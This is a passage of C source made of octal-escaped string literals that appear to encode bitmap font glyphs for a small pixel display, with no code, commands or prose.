"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\340\374\377\377\377\77\17\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\370\374\376\377\77\37\17\3\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\10\374|~\77\37\37\17\7\3\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\340\340\340\340 \0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\200\360\340\340\300\300\200\200\0\0\0\0\17\377\377\377\177\0\0\0\0\200\200\300\300\340\340" "\340\200\0\0\0\1\3\3\3\7\7\7\7\17\17\216\376\374\377\177\377\374\376\316\17\17\17\7\7\7\3\3" "\3\1\0\0\0\0\0\0\200\300\360\370\374\376\177\37\17\3\0\0\0\3\7\37\77\376\374\370\360\300\200\0" "\0\0\0\0\0\0\0\0\0\1\3\7\3\0\0\0\0\0\0\0\0\0\0\0\0\0\3\7\3\1\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\360\360\360\360\360\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\36\36\36\36\36\36\36\36\36\36\36\36\377\377\377\377\377\36\36\36\36\36\36\36\36\36\36" "\36\36\36\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\7\7\7\7\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\340\340\340\300\300\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\2\17\17\37\377\377\377\377\177\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0`\360\370~\77\17\7\1\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0xxxxxxxxxxxxxxxxxxxxxxxxx" "x\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\370\370\370\370\370\370\360\340\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\3\3\7\3\3\1\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\370\370\360\360" " \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\360\374\377\377\177\17\3\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\340\370\377\377\177\37\7\1\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\370\376\377\377\77\17\3\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\300\360\374\377\377\177\17\3\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\200\340\370\377\377\177\37\7\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\10\36\37\77\77\17\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\300\300\300\300\300\300\200\200\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\300\360\370\374\376\177\37\17\17\7\7\7\7\7\7\17\37\77\376\374\370\360\300\0" "\0\0\0\0\0\200\374\377\377\377\77\7\0\0\0\0\0\0\0\0\0\200\300\360\370\374~\37\177\377\377\377" "\370\200\0\0\0\377\377\377\377\377\0\0\0\0\0\200\340\360\370\374\177\37\17\7\1\0\0\0\0\377\377\377" "\377\377\0\0\0\7\177\377\377\377\374\360\370\376\177\37\17\7\1\0\0\0\0\0\0\0\0\0\360\377\377\377" "\377\7\0\0\0\0\0\3\17\37\177\377\377\370\360\340\300\300\200\200\200\200\300\300\340\360\374\377\177\77\17\3" "\0\0\0\0\0\0\0\0\0\0\0\0\1\1\3\7\7\7\7\17\17\7\7\7\3\3\1\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\300\300\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\60x\70<<>\36\37\37\17\377\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\7\7\7\7\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\300\300\300\300\300\300\300\300\200\200\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\70|\376~\37\17\17\7\7\7\7\7\7\7\7\17\17\37\177\377\376\374\370\340" "\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\341\377\377\377\377" "\77\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\360\370\376\177\77\37\17\3\1" "\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\370\374\376\177\77\37\17\7\3\1\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\200\340\370\374\377\377\237\217\203\201\200\200\200\200\200\200\200\200\200\200\200\200\200\200\300" "\300\0\0\0\0\0\0\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7" "\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\300\300\300\300\300\300\300\200\200\200\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\14\36\77\37\17\17\7\7\7\7\3\7\7\7\17\17\37\177\377\376\374\370\340\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\360\377\377\377\177\37\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0>>\36>>\77\77\77\177\377\377\373\363\341\300\200\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\37\377\377\377\377\370" "\0\0\0\0\0\0@\340\360\374\360\340\340\300\300\200\200\200\200\200\200\300\300\340\360\374\377\377\177\77\37\3" "\0\0\0\0\0\0\0\0\1\1\3\3\7\7\7\7\7\17\17\7\7\7\7\7\3\3\1\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\300\300\300\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\340\370\374\177\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\200\300\360\370\376\77\37\7\3\0\0\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\200\340\360\374\376\77\37\7\3\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0<\77\77\77\77=<<<<<<<<<<<<\377\377\377\377\377<<<<" "<<\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\7\7\7\7\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300" "\300\0\0\0\0\0\0\0\0\377\377\377\377\377\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3" "\3\0\0\0\0\0\0\0\200\377\377\377\377\377\300\300\300\340\340\340\340\340\340\340\300\300\300\200\200\0\0\0" "\0\0\0\0\0\0\0\0\37\37\37\77\37\17\7\3\3\3\3\1\3\3\3\3\7\17\37\77\377\377\376\374" "\360\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\377\377\377" "\377\377\0\0\0\0\0\60x\374\374\374\360\340\340\300\300\200\200\200\200\200\200\300\300\340\360\374\377\377\177\77" "\17\3\0\0\0\0\0\0\0\0\1\1\3\3\7\7\7\7\7\17\17\7\7\7\7\7\3\3\1\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\300\300\300\300\300\300\300\200\200\200\0\0\0" "\0\0\0\0\0\0\0\0\0\200\340\360\374\374\376\77\37\17\17\7\7\7\3\7\7\7\7\17\37\37\17\6" "\0\0\0\0\0\0\0\340\376\377\377\377\177\3\0\0\200\300\300\300\300\300\300\300\300\300\200\200\0\0\0\0" "\0\0\0\0\0\0\0\377\377\377\377\377\370>\37\17\17\7\3\3\3\3\3\7\7\17\37\177\377\376\374\370" "\340\0\0\0\0\0\0\77\377\377\377\377\360\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\203\377\377\377" "\377\377\0\0\0\0\0\0\3\17\77\177\377\376\370\360\340\300\300\200\200\200\200\200\300\340\360\374\377\377\177\77" "\17\1\0\0\0\0\0\0\0\0\0\0\0\1\3\3\7\7\7\7\7\17\7\7\7\7\3\3\1\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300" "\0\0\0\0\0\0\0\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\303\373\377\377\377\177\17\3" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\370\377\377\377\77\17\1\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\370\377\377\377\77\7\1\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\370\377\377\377\177\17\1\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\300\360\376\377\377\377\37\3\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\4\7\7\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\300\300\300\300\300\300\200\200\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\300\360\374\376\377\177\37\17\7\7\7\7\7\7\7\17\17\37\377\377\376\374\370\300" "\0\0\0\0\0\0\0\0\17\77\377\377\377\374\340\300\200\0\0\0\0\0\0\0\300\340\374\377\377\177\77\17" "\0\0\0\0\0\0\0\0\0\200\300\301\343\363\367\177\77\37\37\36>>\177\177\377\367\363\341\300\200\0\0" "\0\0\0\0\0\0\360\374\376\377\377\37\3\1\0\0\0\0\0\0\0\0\0\0\0\1\3\17\377\377\377\376" "\370\0\0\0\0\0\7\37\177\377\377\377\370\360\340\300\300\200\200\200\200\200\200\300\300\340\360\374\377\377\177\77" "\17\0\0\0\0\0\0\0\0\0\1\1\3\3\7\7\7\7\7\17\17\7\7\7\7\3\3\1\1\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\300\300\300\300\300\200\200\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\340\360\374\376\377\177\37\17\7\7\7\3\7\7\7\17\37\77\177\376\374\370\340\200" "\0\0\0\0\0\0\0\377\377\377\377\377\203\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\377\377\377\377" "\374\0\0\0\0\0\0\1\17\37\177\377\377\374\370\360\340\300\300\300\300\300\340\340\360\360x>\377\377\377\377" "\377\0\0\0\0\0\0\0\0\0\0\0\0\1\3\3\3\3\3\3\3\3\3\3\1\0\0\340\377\377\377\377" "\37\0\0\0\0\0\0\0\200\300\340\360\340\300\300\200\200\200\200\200\200\300\300\340\360\370\376\177\77\37\7\1" "\0\0\0\0\0\0\0\0\0\1\3\3\7\7\7\7\7\17\17\7\7\7\7\3\3\1\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\340\360\360\360\360\360\340\300\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\7\17\17\17\17\17\7\3\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\360\360\360\360\360\360\340\300\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\7\7\7\17\7\7\3\1\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\340\340\340\340\300\200\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\17\37\37\37\37\37\17\7\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\340\360\360\360\360\340\300\200\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\7\17\237\377\377\377\377\37\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0 p\370~\77\17\7\1\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\340\340\360\360\370" "\370||\0\0\0\0\0\0\200\300\300\340\340\360\360\370\370||>>\37\37\17\17\7\7\3\1\1\0" "\0\0\0\0<>~\377\377\377\367\347\343\303\201\201\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\1\1\3\7\7\17\17\37\77>||\370\370\360\360\340\300\300\200\200\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\3\7\7\17\37\37\77" ">|\374\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360" "\360\360\360\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0xxxxxxxxxxxxxxxxxxxxxxxxxxx" "xxx\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\370\360\360\340\340\300\300\200\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\1\1\3\3\7\7\17\17\37\37>>||\370\360\360\340\340\300\300\200\200\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\3\203\207\307\317\377\377\376\376" "\374|x\0\0\0\0\0\0\0\200\200\300\300\340\340\360\370\370||>>\37\17\17\7\7\3\1\1\0" "\0\0\0\0\370\374|~>\37\37\17\17\7\3\3\1\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\200\300\300\340\340\340\360\360\360\360\360\360\360\360\340\340\300\300\200\0\0\0" "\0\0\0\0\0\0\10\36\77\177\77\17\7\7\3\1\1\1\1\0\1\1\1\3\3\17\37\377\377\377\374\360" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\340\370\377\377\377\177\37" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\340\370\374\376\377\77\37\17\7\3\1\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\177\177\177\177\177\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\340\340\340\340\340\340\200\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\17\17\17\17\17\17\3\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\300\300\300\300\300\300\200\200\0\0\0\0\0" "\0\0\0\0\0\0\0\300\340\370\374\376>\37\37\17\7\7\7\7\3\7\7\7\7\17\17\37\77\376\374\370" "\360\300\0\0\300\374\377\377\177\7\1\0\0\0\0\0\0\300\340\360\360\370x|<<<<<<\377\377" "\377\377\376\0\377\377\377\377\0\0\0\0\0\0\0\374\377\377\377\207\1\0\0\0\0\0\0\0\0\300\377\377" "\377\377\377\0\7\177\377\377\374\340\200\0\0\0\0\1\7\17\37\77>|||||<>\37\17\77\77" "\77\77\77\0\0\0\1\7\17\77\177\376\374\370\360\340\340\300\300\200\200\200\200\200\200\200\200\300\300\340\340\200" "\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\3\3\7\7\7\7\7\17\7\7\7\7\7\3\3\3\1" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\300\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\374\377\377\377\377\370\300\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\300\370\377\377\177\17\1\3\37\377\377\376\370\300\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\200\360\376\377\377\37\3\0\0\0\0\0\0\7\37\377\377\376\370\300\0\0\0" "\0\0\0\0\0\0\0\340\374\377\377\177\77<<<<<<<<<<<<\77\177\377\377\376\370\300" "\0\0\0\0\300\370\377\377\377\37\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\17\177\377\377" "\376\370\300\0\7\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\7" "\7\7\7\6\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\200\200\200\0\0\0\0\0" "\0\0\0\0\0\377\377\377\377\377\3\3\3\3\3\3\3\3\7\7\7\7\7\7\17\37\77\377\377\376\374\360" "\300\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\370\377\377\377\77" "\17\0\0\0\0\377\377\377\377\377\36\36\36\36\36\36\36\36\37\37\37\37\77\77\77\177\377\373\363\341\300\200" "\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\7\377\377\377" "\377\374\0\0\0\377\377\377\377\377\200\200\200\200\200\200\200\200\200\300\300\300\300\300\300\340\360\370\376\377\177\77" "\37\7\0\0\0\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\3\3\3\1\1\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\300\300\300\300\300\300\200\200\200\0\0\0" "\0\0\0\0\0\0\0\0\300\360\370\374\376\376\77\37\37\17\7\7\7\7\3\7\7\7\17\17\37\77\177\376" "\374\370\360\300\0\300\374\377\377\377\377\17\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3" "\1\1\0\0\0\377\377\377\377\377\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\7\177\377\377\377\377\340\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\3\17\37\77\177\377\376\370\360\340\340\300\300\200\200\200\200\200\200\300\300\340\360\370\374" "\374x\70\0\0\0\0\0\0\0\0\0\0\1\1\3\3\7\7\7\7\7\17\7\7\7\7\7\3\3\1\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\200\200\200\0\0\0\0\0\0\0\0" "\0\0\0\0\0\377\377\377\377\377\3\3\3\3\3\3\7\7\7\7\7\7\17\37\77\177\376\374\374\360\340\200" "\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\177\377\377\377" "\376\340\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377" "\377\377\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\370\377\377\377" "\377\17\0\0\0\377\377\377\377\377\200\200\200\200\200\300\300\300\300\300\300\340\340\360\370\374\377\177\77\37\17\3" "\0\0\0\0\0\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\3\3\3\1\1\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300" "\300\300\0\0\0\0\377\377\377\377\377\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3" "\3\3\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\377\377\377\377\377\36\36\36\36\36\36\36\36\36\36\36\36\36\36\36\36\36\36\36\0\0" "\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\377\377\377\377\377\200\200\200\200\200\200\200\200\200\200\200\200\200\200\200\200\200\200\200\200\200" "\200\200\0\0\0\0\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7" "\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300" 